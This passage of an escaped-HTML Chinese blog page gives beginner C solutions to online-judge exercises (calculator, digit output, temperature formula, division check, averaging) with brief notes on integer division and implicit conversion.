class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e16\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e17\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e18\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e19\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e20\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e21\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e22\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e23\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e24\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e25\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e26\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e27\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e28\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e29\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e30\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e31\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e32\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e33\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e34\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026lt;stdio.h\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003ecalc\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003eint\u003c/span\u003e a, \u003cspan class=\"type\"\u003eint\u003c/span\u003e b, \u003cspan class=\"type\"\u003echar\u003c/span\u003e calc)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003emain\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003evoid\u003c/span\u003e)\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e num_1, num_2;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003echar\u003c/span\u003e ch;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003escanf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%d%c%d\u0026#34;\u003c/span\u003e, \u0026amp;num_1, \u0026amp;ch, \u0026amp;num_2);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%d%c%d=%d\u0026#34;\u003c/span\u003e, num_1, ch, num_2, calc(num_1, num_2, ch));\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"number\"\u003e0\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003ecalc\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003eint\u003c/span\u003e a, \u003cspan class=\"type\"\u003eint\u003c/span\u003e b, \u003cspan class=\"type\"\u003echar\u003c/span\u003e calc)\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eswitch\u003c/span\u003e (calc)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ecase\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026#39;+\u0026#39;\u003c/span\u003e:\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e a + b;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ecase\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026#39;-\u0026#39;\u003c/span\u003e:\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e a - b;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ecase\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026#39;*\u0026#39;\u003c/span\u003e:\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e a * b;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ecase\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026#39;/\u0026#39;\u003c/span\u003e:\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e a / b;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ecase\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026#39;%\u0026#39;\u003c/span\u003e:\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e a % b;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e注意,C语言中整数的除法结果都是带余除法,取余运算是\u003ccode\u003e%\u003c/code\u003e,是二元运算符,\u003cstrong\u003e只接受整数作为运算对象\u003c/strong\u003e。\u003c/p\u003e\u003ch3 id=\"13-数位输出\"\u003e\u003ca href=\"https://xeonds.github.io/2021/09/29/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/XDOJ-archive/#13-%E6%95%B0%E4%BD%8D%E8%BE%93%E5%87%BA\" class=\"headerlink\" title=\"13.数位输出\"\u003e\u003c/a\u003e13.数位输出\u003c/h3\u003e\u003cp\u003e输出数字的各位。相当于给各位间加了个空格。这里用的是数学办法。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e16\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e17\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e18\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e19\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026lt;stdio.h\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003emain\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003evoid\u003c/span\u003e)\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e a, i;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003escanf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%d\u0026#34;\u003c/span\u003e, \u0026amp;a);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003efor\u003c/span\u003e (i = \u003cspan class=\"number\"\u003e1\u003c/span\u003e; a \u0026gt;= i; i *= \u003cspan class=\"number\"\u003e10\u003c/span\u003e)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e ;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e i /= \u003cspan class=\"number\"\u003e10\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003efor\u003c/span\u003e (; a \u0026gt; \u003cspan class=\"number\"\u003e0\u003c/span\u003e;)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%d \u0026#34;\u003c/span\u003e, a / i);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e a -= a / i * i;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e i /= \u003cspan class=\"number\"\u003e10\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"number\"\u003e0\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e注意空语句。它只有一个符号\u003ccode\u003e;\u003c/code\u003e,但是是一个完整的语句。\u003c/p\u003e\u003ch3 id=\"14-冰箱温度预测\"\u003e\u003ca href=\"https://xeonds.github.io/2021/09/29/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/XDOJ-archive/#14-%E5%86%B0%E7%AE%B1%E6%B8%A9%E5%BA%A6%E9%A2%84%E6%B5%8B\" class=\"headerlink\" title=\"14.冰箱温度预测\"\u003e\u003c/a\u003e14.冰箱温度预测\u003c/h3\u003e\u003cp\u003e很简单。注意将数据类型隐式转换为浮点数即可。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e/* 2.3 温度计算 - by xeonds */\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026lt;stdio.h\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003emain\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003evoid\u003c/span\u003e)\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e h, m;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003escanf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%d %d\u0026#34;\u003c/span\u003e, \u0026amp;h, \u0026amp;m);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%.2f\\n\u0026#34;\u003c/span\u003e, \u003cspan class=\"number\"\u003e4.0\u003c/span\u003e * (h + m / \u003cspan class=\"number\"\u003e60.0\u003c/span\u003e) * (h + m / \u003cspan class=\"number\"\u003e60.0\u003c/span\u003e) / ((h + m / \u003cspan class=\"number\"\u003e60.0\u003c/span\u003e) + \u003cspan class=\"number\"\u003e2\u003c/span\u003e) - \u003cspan class=\"number\"\u003e20\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"number\"\u003e0\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch3 id=\"15-除法计算器\"\u003e\u003ca href=\"https://xeonds.github.io/2021/09/29/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/XDOJ-archive/#15-%E9%99%A4%E6%B3%95%E8%AE%A1%E7%AE%97%E5%99%A8\" class=\"headerlink\" title=\"15.除法计算器\"\u003e\u003c/a\u003e15.除法计算器\u003c/h3\u003e\u003cp\u003e怎么又是小明((╯‵□′)╯︵┻━┻)\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026lt;stdio.h\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003emain\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003evoid\u003c/span\u003e)\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e m, n, q, r;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003escanf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%d %d %d %d\u0026#34;\u003c/span\u003e, \u0026amp;m, \u0026amp;n, \u0026amp;q, \u0026amp;r);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (m / n == q \u0026amp;\u0026amp; m % n == r)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;yes\u0026#34;\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eelse\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%d %d\u0026#34;\u003c/span\u003e, m / n, m % n);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"number\"\u003e0\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch3 id=\"16-简单程序\"\u003e\u003ca href=\"https://xeonds.github.io/2021/09/29/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/XDOJ-archive/#16-%E7%AE%80%E5%8D%95%E7%A8%8B%E5%BA%8F\" class=\"headerlink\" title=\"16.简单程序\"\u003e\u003c/a\u003e16.简单程序\u003c/h3\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026lt;stdio.h\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003emain\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003evoid\u003c/span\u003e)\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eputs\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;C programming language is useful!\u0026#34;\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eputs\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;I like it very much.\u0026#34;\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"number\"\u003e0\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch3 id=\"17-求平均值\"\u003e\u003ca href=\"https://xeonds.github.io/2021/09/29/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/XDOJ-archive/#17-%E6%B1%82%E5%B9%B3%E5%9D%87%E5%80%BC\" class=\"headerlink\" title=\"17.求平均值\"\u003e\u003c/a\u003e17.求平均值\u003c/h3\u003e\u003cp\u003e注意隐式转换。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026lt;stdio.h\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003emain\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003evoid\u003c/span\u003e)\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e a, b, c;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003escanf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%d %d %d\u0026#34;\u003c/span\u003e, \u0026amp;a, \u0026amp;b, \u0026amp;c);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%.2f\u0026#34;\u003c/span\u003e, (a + b + c) / \u003cspan class=\"number\"\u003e3.0\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"number\"\u003e0\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan 